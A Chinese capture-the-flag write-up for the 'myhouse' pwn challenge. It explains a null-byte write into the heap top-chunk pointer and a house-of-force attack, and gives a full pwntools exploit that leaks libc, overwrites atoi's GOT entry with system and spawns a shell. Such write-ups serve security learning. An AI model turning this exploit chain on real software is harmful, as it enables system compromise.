CTF PWN之任意地址写NULL到house of force——myhouse

题目:https://github.com/giantbranch/CTF_PWN/tree/master/2018/tie3/myhouse

保护措施,got表可写,没开PIE

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

一开始看到add_house有个size-1,这不是堆溢出吗,结果应该是由于size过大,read不了,只能找其他出路

1
read(0, housed, size - 1);

不断尝试,发现下面的v3是可以跟size是不一致的,第一次可以大于0x30000,控制v3,那么就可以任意地址写NULL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 add_house()
{
int v0; // eax
size_t size; // [rsp+0h] [rbp-30h]
__int64 v3; // [rsp+8h] [rbp-28h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x10uLL);
myputs("What's your name?");
read(0, &owner, 0x20uLL);
myputs("What is the name of your house?");
housen = malloc(0x100uLL);
read(0, housen, 0x100uLL);
myputs("What is the size of your house?");
read(0, &s, 0xFuLL);
v0 = atoi(&s);
v3 = v0;
size = v0;
if ( (unsigned __int64)v0 > 0x300000 )
{
do
{
myputs("Too large!");
read(0, &s, 0xFuLL);
size = atoi(&s);
}
while ( size > 0x300000 );
}
housed = malloc(size);
myputs("Give me its description:");
read(0, housed, size - 1);
*((_BYTE *)housed + v3 - 1) = 0;
return __readfsqword(0x28u) ^ v5;
}

难点在于add_house的漏洞利用只能利用一次

总体思路:
1、通过申请大于等于0x200000的内存,那边会用mmap分配,而这个mmap分配的内存跟libc的偏移是固定的
2、我们通过精准控制v3,将null写到top chunk指针的最低位,top chunk指针就指向了house name的最后的16字节的位置(堆地址可以通过owner泄露)
3、当然在这之前得控制house name的最后一个8字节为8个\xff,这是为house of force做的铺垫
4、然后我们就可以利用house of force,申请特定的大小让malloc返回值到house_description_addr
5、将house_description覆盖为got就可以泄露libc
6、而同时覆盖room,那就可以覆盖atoi的got来getshell了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-12-11 21:43:54
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :
from pwn import *
context.log_level = "debug"
p = process("./myhouse")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def init(mmap_topchunkpoint_offset):
p.recvuntil("What's your name?\n")
p.send("1" * 0x20)
p.recvuntil("What is the name of your house?\n")
p.send("\x00" * (0x100 - 8) + "\xff" * 8)
p.recvuntil("What is the size of your house?\n")
p.sendline(str(mmap_topchunkpoint_offset))
p.recvuntil("Too large!\n")
# use mmap and use null byte write bug to write top chunk point
p.sendline(str(0x200000))
p.recvuntil("Give me its description:\n")
p.send("not use")
def build_room(size):
p.recvuntil("Your choice:\n")
p.sendline("1")
p.recvuntil("What is the size of your room?\n")
p.sendline(str(size))
def decorate_room(content):
p.recvuntil("Your choice:\n")
p.sendline("2")
p.recvuntil("Make your room more shining!\n")
p.sendline(content)
def show_house():
p.recvuntil("Your choice:\n")
p.sendline("3")
def getpid():
print proc.pidof(p)[0]
pause()
mmap_topchunkpoint_offset = 6052713
atoi_got = 0x602058
write_got = 0x602018
set_buf_plt = 0x400710
# .bss:00000000006020C0 housed
house_description_addr = 0x00000000006020C0
housen_addr = 0x602100
mmap_system_distance = 2384768
# use null byte overwrite top chunk point to house of force
init(mmap_topchunkpoint_offset)
# leak heap addr
show_house()
p.recvuntil("1" * 0x20)
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)
fake_topchunk_addr = heap_addr + 240
print "fake_topchunk_addr = " + hex(fake_topchunk_addr)
# fake_topchunk_addr + malloc_size = house_description_addr - 0x10
malloc_size = house_description_addr - 0x20 - fake_topchunk_addr
# 劫持到house_description, 写got表,泄露libc
build_room(malloc_size)
build_room(0x100)
decorate_room(p64(write_got) + p64(atoi_got))
show_house()
p.recvuntil("And description:\n")
write_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "write_addr = " + hex(write_addr)
# 计算system和/bin/sh的地址
print "\ncalculating system() addr ... ###"
system_addr = write_addr + (libc.symbols['system'] - libc.symbols['write'])
print "system_addr = " + hex(system_addr)
# system_addr = mmap_addr + mmap_system_distance
# print "system_addr = " + hex(system_addr)
# 覆盖room,写got表
decorate_room(p64(system_addr))
p.recvuntil("Your choice:\n")
p.sendline("/bin/sh\x00")
p.interactive()
自愿打赏专区